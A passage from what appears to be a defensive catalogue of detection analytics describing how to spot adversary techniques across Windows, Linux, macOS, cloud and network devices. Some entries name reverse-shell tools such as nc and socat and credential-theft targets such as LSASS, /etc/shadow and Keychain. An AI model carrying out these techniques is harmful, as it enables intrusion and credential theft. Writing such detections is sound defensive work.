Detection focuses on correlating snapshot creation events with subsequent instance creation and mounting activities. From a defender perspective, suspicious sequences include snapshot creation by unexpected or newly created IAM users, snapshots created from sensitive volumes without preceding change-control activity, or snapshots immediately followed by mounting to unauthorized instances. Cross-referencing with user behavior, IP geolocation, and automation context helps distinguish benign backup operations from adversary-driven snapshot exploitation.
Current version: 1.0
Description:
Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines. Defender view: unexpected ingress/egress rules permitting 0.0.0.0/0 or opening atypical ports, often correlated with privileged role or API key activity.
Current version: 1.0
Description:
Detects unusual outbound connections to web services from uncommon processes using SSL/TLS, particularly those exhibiting high outbound data volume or persistence.
Current version: 1.0
Description:
Detects command-line tools, agents, or scripts making outbound HTTPS connections to popular web services like Discord, Slack, Dropbox, or Graph API in an unusual context.
Current version: 1.0
Description:
Detects user agents or background services making unauthorized or unscheduled web API calls to cloud/web services over HTTPS.
Current version: 1.0
Description:
Detects guest VMs or management agents issuing HTTP(S) traffic to external services without a valid patch management or backup justification.
Current version: 1.0
Description:
Processes accessing raw logical drives (e.g., .\C:) to bypass file system protections or directly manipulate data structures.
Current version: 1.0
Description:
CLI or automated utilities accessing raw device volumes or flash storage directly (e.g., via copy flash:, format, or partition commands).
Current version: 1.0
Description:
Unauthorized modification of service-related registry keys such as ImagePath, FailureCommand, ServiceDll, or Performance/Parameters keys. Defender correlates registry modifications, anomalous service metadata changes, and subsequent service process executions that deviate from baseline configurations.
Current version: 1.0
Description:
Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process’s /proc entry is remapped to another directory, often hiding malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of mount with -o bind or -B flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context.
Current version: 1.0
Description:
Detects the modification or addition of Launch Agents or Startup Items to establish persistence. Adversaries may write plist or executable files to ~/Library/LaunchAgents/, /Library/StartupItems/, or similar directories and configure them to run at user or system boot. Detection requires correlating file creation or modification events with subsequent user logon or boot-time process execution.
Current version: 1.0
Description:
Monitors suspicious access to password stores such as LSASS, DPAPI, Windows Credential Manager, or browser credential databases. Detects anomalous process-to-process access (e.g., Mimikatz accessing LSASS) and correlation of credential store file reads with execution of non-standard processes.
Current version: 1.0
Description:
Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.
Current version: 1.0
Description:
Monitors Keychain database access and suspicious invocations of security and osascript utilities. Correlates process execution with attempts to dump or unlock Keychain data.
Current version: 1.0
Description:
Detects attempts to access or enumerate cloud password/secrets storage services such as AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager. Monitors API calls for abnormal enumeration or bulk retrieval of secrets.
Current version: 1.0
Description:
Monitor email message traces and headers for failed SPF, DKIM, or DMARC checks indicating spoofed sender identities. Correlate abnormal sender domains or mismatched return-paths with elevated spoofing likelihood.
Current version: 1.0
Description:
Detects spoofed emails by analyzing mail server logs (e.g., Postfix, Sendmail) for mismatched header fields, failed SPF/DKIM checks, and anomalies in SMTP proxy logs. Defender observes discrepancies between sending domain, return-path domain, and message metadata.
Current version: 1.0
Description:
Detects suspicious inbound mail traffic where SPF/DKIM/DMARC authentication fails or where sender and return-path domains mismatch, observable in Apple Mail unified logs or MDM-controlled logging pipelines.
Current version: 1.0
Description:
Correlates Office 365 or Google Workspace audit logs for spoofed sender addresses, failed email authentication, and anomalies in message delivery metadata. Defender observes failed SPF/DKIM checks and domain mismatches tied to suspicious campaigns.
Current version: 1.0
Description:
Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context.
Current version: 1.0
Description:
Abuse of mavinject.exe to inject DLLs or import descriptors into another running process. Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE → (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) → (3) target process loads attacker DLL (module load) → (4) optional follow-on child activity or network egress from the target process.
Current version: 1.0
Description:
Detects creation or modification of user-level Launch Agents in monitored directories using .plist files with suspicious ProgramArguments or RunAtLoad keys. Correlates file write activity with execution of launchctl or unsigned binaries invoked at login.
Current version: 1.0
Description:
Detection focuses on identifying abuse of LD_PRELOAD and related linker variables. Defender perspective: monitor unexpected setting or modification of LD_PRELOAD in shell initialization scripts or environment exports, file creation of suspicious shared libraries, and correlation of these modifications with anomalous process execution. Key signals include execve events with LD_PRELOAD defined, newly created .so files in user directories, and processes hooking libc functions exhibiting abnormal behavior.
Current version: 1.0
Description:
Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history.
Current version: 1.0
Description:
Modification or replacement of service executables due to weak file or directory permissions. Defender observes file writes to service binary paths, unexpected modifications of executables associated with registered services, and subsequent service execution of attacker-supplied binaries under elevated permissions.
Current version: 1.0
Description:
Detects adversary activity aimed at accessing LSA Secrets, including registry key export of HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets or memory scraping via tools such as Mimikatz or PowerSploit's Invoke-Mimikatz.
Current version: 1.0
Description:
Detects suspicious custom compression/encryption routines through anomalous script or binary execution that produces high-entropy files without standard archiving utilities. Correlates script execution, memory API usage (bitwise ops, CryptoAPI calls), and creation of archive-like files with uncommon headers.
Current version: 1.0
Description:
Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers.
Current version: 1.0
Description:
Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers. Correlates unified logs of abnormal NSFileHandle/NSData operations, memory use of XOR/bitwise operations, and file creation events.
Current version: 1.0
Description:
Detects the relocation of malicious executables via copy/move actions across suspicious folders (e.g., from Downloads to System32), followed by deletion of the original source or renaming to blend into legitimate binaries.
Current version: 1.0
Description:
Detects binary movement or copying between untrusted and trusted paths (e.g., /tmp/ → /usr/bin/ or /etc/init.d/) that may indicate persistence attempts or cleanup of origin traces.
Current version: 1.0
Description:
Detects movement of binaries to ~/Library/, /System/, or app bundle locations, especially after initial execution or download from Safari or Mail.
Current version: 1.0
Description:
Detects firmware or script relocation attempts (e.g., CLI-based copy, move, or rename) between temporary partitions and config startup folders on routers or switches.
Current version: 1.0
Description:
Execution of SyncAppvPublishingServer.vbs through wscript.exe with a command-line containing embedded PowerShell, proxying malicious PowerShell execution through a Microsoft-signed VBScript interpreter to evade detection and restrictions.
Current version: 1.0
Description:
Detects the creation, modification, or deletion of scheduled tasks through Task Scheduler, WMI, PowerShell, or API-based methods followed by execution from svchost.exe or taskeng.exe. Includes detection of hidden or anomalous scheduled tasks, especially those created under SYSTEM or suspicious user contexts.
Current version: 1.0
Description:
Detection of anomalous registry modifications to Subject Interface Packages (SIPs) or trust provider DLL mappings, unexpected loading of non-Microsoft cryptographic modules, or attempts to redirect WinVerifyTrust validation logic. Defender view focuses on registry tampering, suspicious DLL loads into trusted processes, and abnormal trust validation failures correlated across event streams.
Current version: 1.0
Description:
Detects anomalous process execution patterns where a process's parent terminates quickly after process creation or is re-parented to 'init' (PID 1), often indicating double-fork or daemon-style detachment. These behaviors sever the parent-child relationship and obscure the execution origin in process tree analysis.
Current version: 1.0
Description:
Detects execution patterns where a child process is detached from its original parent, often showing up under 'launchd' (PID 1) with no parent lineage. These breakages in the process tree are indicative of evasive techniques using daemon(), fork() or background execution flags.
Current version: 1.0
Description:
Detects suspicious usage of common application-layer protocols (e.g., HTTP, HTTPS, DNS, SMB) by abnormal processes, with high outbound byte counts or irregular ports, possibly indicating command and control or data exfiltration.
Current version: 1.0
Description:
Detects suspicious curl, wget, or custom socket traffic that leverages DNS, HTTPS, or IRC-style protocols with unbalanced traffic or beacon-like intervals.
Current version: 1.0
Description:
Detects applications using abnormal protocols or high volume traffic not previously associated with the process image, such as Automator or AppleScript invoking curl or python sockets.
Current version: 1.0
Description:
Detects application-layer tunneling or unauthorized app protocols like DNS-over-HTTPS, embedded C2 in TLS/HTTP headers, or misused SMB traffic crossing VLANs.
Current version: 1.0
Description:
Suspicious process spawning (e.g., rundll32, svchost, powershell, or netsh) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.
Current version: 1.0
Description:
User-space tools (e.g., socat, ncat, iptables, ssh) used in non-standard ways to establish reverse shells, port-forwarding, or inter-host connections. Often chained with uncommon outbound destinations or SSH tunnels.
Current version: 1.0
Description:
AppleScript, LaunchAgents, or remote login services (ssh, networksetup) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.
Current version: 1.0
Description:
Direct use of nc, socat, or reverse tunnel scripts initiated by abnormal user contexts or unauthorized VIBs initiating connections from hypervisor to external systems.
Current version: 1.0
Description:
Dynamic or static port forwarding rules added to route traffic through an internal host, or configuration changes to proxy firewall rules not aligned with baselined policy.
Current version: 1.0
Description:
Adversaries attempt to read sensitive files such as /etc/passwd and /etc/shadow for credential dumping. This may involve access to the files directly via command-line utilities (e.g., cat, less), creation of backup copies, or parsing through post-exploitation frameworks. Multi-event correlation includes elevated process execution, file access/read on sensitive paths, and anomalous read behaviors tied to non-root or unusual users.
Current version: 1.0
Description:
Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).
Current version: 1.0
Description:
Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.
Current version: 1.0
Description:
Account creation using 'dscl -create' or via GUI tools. Detection involves command execution and file changes to the local directory services database.
Current version: 1.0
Description:
Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.
Current version: 1.0
Description:
Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).
Current version: 1.0
Description:
Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.
Current version: 1.0
Description:
Detects the redirection of syscall execution flow via modification of VDSO code stubs or GOT entries to load and execute a malicious shared object through mmap and ptrace.
Current version: 1.0
Description:
Detection focuses on abnormal or unauthorized cloud instance creation events. From a defender’s perspective, suspicious behavior includes VM/instance creation by rarely used or newly created accounts, creation events from unusual geolocations, or rapid sequences of snapshot creation followed by instance creation and mounting. Unexpected network or IAM policy changes applied to new instances can indicate adversarial use rather than legitimate provisioning.
Current version: 1.0
Description:
Monitor kernel module load/unload activity via modprobe, insmod, rmmod, or direct manipulation of /lib/modules. Correlate with installation of kernel headers, compilation commands, or downloads of .ko files. Detect anomalies in unsigned module loading or repeated module load attempts under non-root users.
Current version: 1.0
Description:
Detect user-initiated kextload commands or modifications to /Library/Extensions. Correlate with changes to KextPolicy database or unauthorized developer signing identities. Alert on attempts to disable SIP or load legacy extensions from unsigned sources.
Current version: 1.0
Description:
Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the -NoProfile flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.
Current version: 1.0
Description:
Detection correlates abnormal installation or modification of root or code-signing certificates, creation/modification of suspicious registry keys for trust providers, and unusual module loads from non-standard locations. Identifies unsigned or improperly signed executables bypassing trust prompts, combined with persistence artifacts.
Current version: 1.0
Description:
Detection monitors extended attribute manipulation (xattr) to strip quarantine or trust metadata, anomalous installation of root certificates in /etc/ssl or /usr/local/share/ca-certificates, and unauthorized modification of system trust stores. Correlates with unexpected process execution involving package managers or custom certificate utilities.
Current version: 1.0
Description:
Detection monitors modification of code signing attributes, Gatekeeper/quarantine flags, and insertion of new trust certificates via security add-trusted-cert. Identifies adversary use of xattr to strip quarantine flags from downloaded binaries. Correlates with abnormal module loads bypassing SIP protections.
Current version: 1.0
Description:
Defenders may observe suspicious SNMP MIB enumeration through abnormal queries for large sets of OIDs, repeated SNMP GETBULK/GETNEXT requests, or queries originating from non-administrative IP addresses. Anomalous use of community strings, authentication failures, or enumeration activity outside maintenance windows may also indicate attempts to dump MIB contents. Correlation across syslog, NetFlow, and SNMP audit data can reveal chains of behavior such as repeated authentication failures followed by successful large-scale OID retrieval.
Current version: 1.0
Description:
Detects unauthorized modifications to PAM configuration files or shared object modules. Correlates file modification events under /etc/pam.d/ or /lib/security/ with unusual authentication activity such as multiple simultaneous logins, off-hours logins, or logons without corresponding physical/VPN access.
Current version: 1.0
Description:
Detects suspicious changes to macOS authorization and PAM plugin files. Correlates file modifications under /etc/pam.d/ or /Library/Security/SecurityAgentPlugins with unexpected authentication attempts or anomalous account usage.
Current version: 1.0
Description:
Detects behavioral chains where PowerShell is launched with encoded commands, unusual parent processes, or suspicious modules loaded, potentially followed by network connections or child process spawning. Supports detection of both direct (powershell.exe) and indirect (.NET automation) invocations.
Current version: 1.0
Description:
A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a new process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API → (2) privileged handle or token duplication/open → (3) new child process running as another user / higher integrity → (4) optional follow‑on privileged/lateral actions.
Current version: 1.0
Description:
Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.
Current version: 1.0
Description:
ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using ping, hping3, or crafted packets via libpcap or scapy.
Current version: 1.0
Description:
Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.
Current version: 1.0
Description:
VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.
Current version: 1.0
Description:
Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).
Current version: 1.0
Description:
Adversary modifies Active Directory domain trust settings via netdom, nltest, or PowerShell to add new domain trust or alter federation. Modifications occur in AD object attributes like trustDirection, trustType, trustAttributes, often paired with SeEnableDelegationPrivilege or certificate injection.
Current version: 1.0
Description:
Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like Set domain authentication, Add federated identity provider, or Update-MsolFederatedDomain.
Current version: 1.0
Description:
Detection of container image build activity directly on the host using Docker or Kubernetes APIs. Defenders may observe Docker build requests, anomalous Dockerfile instructions (such as downloading code from unknown IPs), or creation of new images followed by immediate deployment. This behavior chain typically consists of an unexpected image creation event correlated with outbound network communication to non-standard or untrusted destinations.
Current version: 1.0
Description:
Multiple failed authentication attempts using distinct username/password pairs from a single IP address or session within a short time window, targeting common services like RDP or SMB
Current version: 1.0
Description:
Rapid login failures across different users from a single IP address, targeting SSH or PAM login with distinct username-password pairs
Current version: 1.0
Description:
Burst of failed authentications with rotating usernames against loginwindow or remote management service using reused breached credentials
Current version: 1.0
Description:
Same source IP performing multiple authentication attempts using known breached username/password combinations across different identities in Azure AD, Okta, or Duo
Current version: 1.0
Description:
Multiple sign-in failures against cloud-based applications using username/password combinations leaked from unrelated domains
Current version: 1.0
Description:
Router/firewall/syslog logs showing authentication failures with unique usernames and reused credentials from same source IP
Current version: 1.0
Description:
Credential stuffing attempts against Kubernetes API or containerized login shells using stolen or leaked user credentials
Current version: 1.0
Description:
Use of leaked credential pairs against Outlook Web Access (OWA), Microsoft 365, or Exchange from a single client IP with multiple failures
Current version: 1.0
Description:
Burst of failed login attempts across VM instances using leaked credential pairs from single IP in public cloud environments
Current version: 1.0
Description:
Anomalous creation or mounting of hidden partitions or virtual file systems. Defender view: detection of registry modifications linked to non-standard file systems, suspicious disk I/O patterns, or bootkit-like behavior where hidden volumes are accessed outside normal file system APIs.
Current version: 1.0
Description:
Unusual mounting of loopback or pseudo file systems not aligned with legitimate administrative activity. Defender view: monitoring auditd and syslog for mount commands involving suspicious mount points, reserved blocks, or device mappings indicative of hidden partitions.
Current version: 1.0
Description:
Hidden file system use through APFS containers or custom plist configuration. Defender view: anomalous use of hdiutil or diskutil to attach hidden partitions, modification of plist entries tied to system volumes, or suspicious raw disk access.
Current version: 1.0
Description:
Detects anomalous network traffic on UDP 5355 (LLMNR) and UDP 137 (NBT-NS) combined with unauthorized SMB relay attempts, registry modifications re-enabling multicast name resolution, or suspicious service creation indicative of adversary-in-the-middle credential interception.
Current version: 1.0
Description:
High volume of failed logon attempts followed by a successful one from a suspicious user, host, or timeframe
Current version: 1.0
Description:
Multiple authentication failures for valid or invalid users followed by success from same IP/user
Current version: 1.0
Description:
Password spraying or brute force attempts across user pool within short time intervals
Current version: 1.0
Description:
Multiple failed authentications in unified logs (e.g., loginwindow or sshd)
Current version: 1.0
Description:
Excessive login attempts followed by success from SaaS apps like O365, Dropbox, etc.
Current version: 1.0
Description:
Enumeration of saved Wi-Fi profiles and cleartext password retrieval using netsh wlan or API-level access to wlanAPI.dll.
Current version: 1.0
Description:
File access to NetworkManager connection configs and attempts to read PSK credentials from /etc/NetworkManager/system-connections/*.
Current version: 1.0
Description:
Use of the security command or Keychain API to extract known Wi-Fi passwords for target SSIDs.
Current version: 1.0
Description:
Detection of default account usage such as Guest or Administrator performing interactive or remote logons on systems outside of installation or maintenance windows.
Current version: 1.0
Description:
Monitoring for SSH logins from default accounts such as 'root', especially when login is via password and not key-based authentication.
Current version: 1.0
Description:
Use of known default service accounts or root-level cloud accounts performing authentication or changes to IAM policy.
Current version: 1.0
Description:
Abuse of system-generated or default privileged accounts such as 'root' or 'vpxuser' logging into ESXi hosts.
Current version: 1.0
Description:
Login activity from default admin credentials (e.g., 'admin', 'cisco') on routers, firewalls, and switches.
Current version: 1.0
Description:
Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.
Current version: 1.0
Description:
Detects thread local storage (TLS) callback injection by monitoring memory modifications to PE headers and TLS directory structures during or after process hollowing events, followed by anomalous thread behavior prior to main entry point execution.
Current version: 1.0
Description:
Detects rogue DHCP server activity and anomalous DHCP OFFER/ACK messages assigning unexpected DNS or gateway values. Detection correlates DHCP server role changes, DHCP exhaustion warnings, and sudden network configuration changes across endpoints.
Current version: 1.0
Description:
Detects rogue DHCP activity by monitoring syslog for dhclient messages assigning unauthorized DNS/gateway values. Packet capture or IDS can detect multiple competing DHCP OFFERs from non-authorized servers.
Current version: 1.0
Description:
Detects DHCP spoofing by monitoring unified logs for unexpected DHCP ACK/OFFER parameters and correlating with packet captures for multiple DHCP servers. Behavioral emphasis is on inconsistent DNS and gateway assignments that redirect traffic.
Current version: 1.0
Description:
Defenders may observe adversary attempts to patch system images by monitoring for anomalous file transfers (TFTP, SCP, FTP) of image files, unauthorized CLI commands altering boot system variables, integrity check mismatches between running and baseline OS images, and runtime memory manipulation attempts. Suspicious sequences include uploading a new image, modifying boot parameters, and subsequent reload/reboot of the device. In-memory patching attempts may manifest as debug commands or boot loader manipulation inconsistent with normal administrative activity.
Current version: 1.0
Description:
Untrusted processes creating outbound TLS/HTTPS connections with malformed certificates or header fields, often mismatched with target service behavior. Detects protocol impersonation attempts via traffic metadata analysis and host process lineage.
Current version: 1.0
Description:
Detection of binaries spawning encrypted sessions using OpenSSL or curl to external services with mismatched ports/protocols. Identifies behavior where internal services simulate trusted cloud service traffic patterns.
Current version: 1.0
Description:
Unsigned or suspicious applications initiating network traffic claiming to be browser, mail, or cloud clients. Detects impersonation via TLS fingerprint and User-Agent string deviation.
Current version: 1.0
Description:
ESXi hosts initiating connections from non-standard daemons mimicking HTTP/HTTPS or SNMP traffic, but with irregular payload formats or expired/unsigned TLS certificates.
Current version: 1.0
Description:
Detects adversary tampering of shared directories via file drops (e.g., malicious LNK, EXE, VBS) followed by user execution or suspicious network activity.
Current version: 1.0
Description:
Detects script or binary modification within shared NFS/SMB directories followed by process execution from those paths.
Current version: 1.0
Description:
Detects modification of shared network folders via .app bundles or scripting files with hidden extensions (e.g., double extensions like docx.app).
Current version: 1.0
Description:
Detects upload of malicious or unusual file types into cloud-shared folders, followed by user downloads or interactions.
Current version: 1.0
Description:
Detects embedded macros or scripts added to shared documents or use of external references to execute code.
Current version: 1.0
Description:
Detects suspicious registration of new password filter DLLs into the authentication process. Correlates registry modifications to LSASS Notification Packages with subsequent DLL creation and loading events. Observes anomalous file placement of DLLs in system directories followed by LSASS loading the new filter during logon/password change activity.
Current version: 1.0
Description:
Correlate the creation or modification of containers using restart policies (e.g., 'always') or DaemonSets with elevated host access, service account misuse, or privileged container contexts. Watch for manipulation of systemd units involving containers or pod scheduling targeting specific nodes or namespaces.
Current version: 1.0
Description:
Windows-specific environmental keying behavioral chain: (1) Rapid system information discovery through multiple techniques (WMI queries, registry enumeration, network share discovery, hostname/domain checks), (2) Target validation through specific environmental artifact collection (AD domain membership, network topology, installed software versions), (3) Cryptographic operation correlation indicating payload decryption based on collected environmental values, (4) Subsequent malicious code execution following successful environmental validation, (5) Temporal clustering of discovery activities suggesting automated environmental assessment
Current version: 1.0
Description:
Linux environmental keying behavioral chain: (1) System information gathering through native commands (uname, hostname, id, whoami, ifconfig/ip) and file system enumeration, (2) Network configuration discovery (route tables, DNS settings, network interfaces), (3) Filesystem and mount point analysis for target-specific directories or devices, (4) Process and service enumeration to identify target-specific software, (5) Cryptographic library usage correlation with collected environmental data, (6) Payload execution following successful environmental validation
Current version: 1.0
Description:
macOS environmental keying behavioral chain: (1) System information discovery through native utilities (system_profiler, sw_vers, hostname, dscl) and Security framework queries, (2) Hardware and software enumeration including serial numbers, installed applications, and system versions, (3) Network configuration assessment (networksetup, scutil) and wireless network discovery, (4) Keychain and security context validation, (5) Unified Logs correlation with cryptographic framework usage (CommonCrypto, Security.framework), (6) Application bundle execution following environmental validation
Current version: 1.0
Description:
Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).
Current version: 1.0
Description:
Correlates creation of email forwarding rules or header anomalies (e.g., X-MS-Exchange-Organization-AutoForwarded) with suspicious process execution, file access of .pst/.ost files, and network connections to external SMTP servers.
Current version: 1.0
Description:
Detects file access to mbox/maildir files in conjunction with curl/wget/postfix execution, or anomalous shell scripts harvesting user mail directories.
Current version: 1.0
Description:
Monitors Mail.app database or maildir file access, automation via AppleScript, and abnormal mail rule creation using scripting or UI automation frameworks.
Current version: 1.0
Description:
Correlates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.
Current version: 1.0
Description:
Adversaries using WinRM to remotely execute commands, launch child processes, or access WMI. The detection chain includes service use, network activity, remote session logon, and process creation within a short temporal window.
Current version: 1.0
Description:
Cause→effect chain: (1) User-facing app (Office/PDF/archiver/browser) records an open/click or abnormal event, then (2) a downloaded file is created in a user-writable path and/or decompressed, (3) the parent user app spawns a living-off-the-land binary (e.g., powershell/cmd/mshta/rundll32/msiexec/wscript/expand/zip) or installer, and (4) immediate outbound HTTP(S)/DNS/SMB from the same lineage.
Current version: 1.0
Description:
Cause→effect chain: (1) User app/browser/archiver logs an open/click or abnormal exit, (2) new executable/script/archive extracted into $HOME/Downloads, /tmp, or ~/.cache, (3) parent app spawns shell/interpreter (bash/sh/python/node/curl/wget) or desktop file, and (4) new outbound connection(s) from the child lineage.
Current version: 1.0
Description:
Cause→effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.
Current version: 1.0
Description:
Cause→effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.
Current version: 1.0
Description:
Cause→effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.
Current version: 1.0
Description:
Modification of COR_PROFILER-related environment variables or Registry keys (COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH), combined with anomalous .NET process creation or unmanaged DLL loads. Defender observes registry modifications, suspicious process creation with altered environment variables, and profiler DLLs loaded unexpectedly into .NET CLR processes.
Current version: 1.0
Description:
Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals. Correlates suspicious file changes with remote access artifacts or web shell behavior.
Current version: 1.0
Description:
Detects tampering of IIS-based login pages (e.g., default.aspx, login.aspx) tied to VPN, OWA, or SharePoint via script injection or unexpected editor processes modifying web roots.
Current version: 1.0
Description:
Detects unauthorized changes to locally hosted login pages on macOS (common in developer VPN environments) and links file edits to cron jobs, background scripts, or SUID binaries.
Current version: 1.0
Description:
Correlate suspicious registry modifications to known COM object CLSIDs with subsequent DLL loads or unexpected binary execution paths. Detect placement of COM CLSID entries under HKEY_CURRENT_USER\Software\Classes\CLSID\ overriding default HKLM paths. Flag anomalous DLL loads traced back to hijacked COM registry changes.
Current version: 1.0
Description:
Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation → token handle duplication or thread token assignment → a new or existing process assuming the impersonated user's context.
Current version: 1.0
Description:
Enumeration of services via native CLI tools (e.g., sc query, tasklist /svc, net start) or API calls via PowerShell and WMI.
Current version: 1.0
Description:
Execution of service management commands like systemctl list-units, service --status-all, or direct reading of /etc/init.d.
Current version: 1.0
Description:
Discovery via launchctl commands, or process enumeration using ps aux | grep com.apple. to identify daemons and services.
Current version: 1.0
Description:
Spike in object access from new IAM user or role followed by data exfiltration to external IPs
Current version: 1.0
Description:
OAuth token granted to external app followed by download of high-volume files in OneDrive/Google Drive
Current version: 1.0
Description:
Internal user account accesses shared links outside org followed by mass file download
Current version: 1.0
Description:
Identify repeated DNS resolutions where the same domain name returns multiple IPs in short succession, combined with low TTL values and high query volume from unusual processes. Correlate with process lineage (e.g., Office apps spawning abnormal DNS lookups).
Current version: 1.0
Description:
Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals. Correlate high query rates from non-browser applications (e.g., python, curl).
Current version: 1.0
Description:
Use unified logs to identify processes issuing repeated DNS queries where the resolved IP addresses change frequently within very short TTL values. Correlate with outbound network traffic to validate C2-like patterns.
Current version: 1.0
Description:
Monitor ESXi syslog and esxcli outputs for abnormal DNS resolver behavior, such as frequent domain-to-IP changes or unauthorized modifications of DNS settings used by management agents. Correlate domain lookups with short TTL values.
Current version: 1.0
Description:
Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag. Behavior chain: (1) Process creation of odbcconf.exe with /REGSVR or /A {REGSVR ...} arguments → (2) DLL load by odbcconf.exe of non-standard or unsigned modules → (3) Optional follow-on process creation or network activity from loaded DLL.
Current version: 1.0
Description:
A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window
Current version: 1.0
Description:
Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window
Current version: 1.0
Description:
Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')
Current version: 1.0
Description:
Sign-in failures across enterprise SSO applications or SaaS platforms from same IP address using the same password against multiple user identities
Current version: 1.0
Description:
Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts
Current version: 1.0
Description:
Repeated failed authentication attempts to container APIs, control planes, or login shells across many user names using same password
Current version: 1.0
Description:
Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)
Current version: 1.0
Description:
SaaS applications receiving authentication failures for dozens of accounts using same password or login signature
Current version: 1.0
Description:
Behavioral chain: (1) a login from a third-party account or untrusted source network establishes an interactive/remote session; (2) the session acquires elevated privileges or accesses sensitive resources atypical for that account; (3) subsequent lateral movement or data access occurs from the same session/device. Correlate Windows logon events, token elevation/privileged use, and resource access with third-party context.
Current version: 1.0
Description:
Behavioral chain: (1) sshd or federated SSO logins from third-party networks or identities; (2) rapid sudo/su privilege elevation; (3) access to sensitive paths or east-west SSH. Correlate auth logs, process execution, and network flows.
Current version: 1.0
Description:
Behavioral chain: (1) third-party interactive login or mobileconfig-based device enrollment; (2) privilege use or admin group change; (3) lateral movement mounts/ssh. Correlate unified logs and network telemetry.
Current version: 1.0
Description:
Behavioral chain: (1) delegated admin or external identity establishes session (e.g., partner/reseller DAP, B2B guest, SAML/OAuth trust); (2) role elevation or app consent/permission grant; (3) downstream privileged actions in the tenant. Correlate IdP sign-in, admin/role assignment, and consent/admin-on-behalf events.
Current version: 1.0
Description:
Behavioral chain: (1) cross-account or third-party principal assumes a role into the tenant/subscription/project; (2) privileged API calls are made in short succession; (3) access originates from unfamiliar networks or geos. Correlate assume-role/federation events with sensitive API usage.
Current version: 1.0
Description:
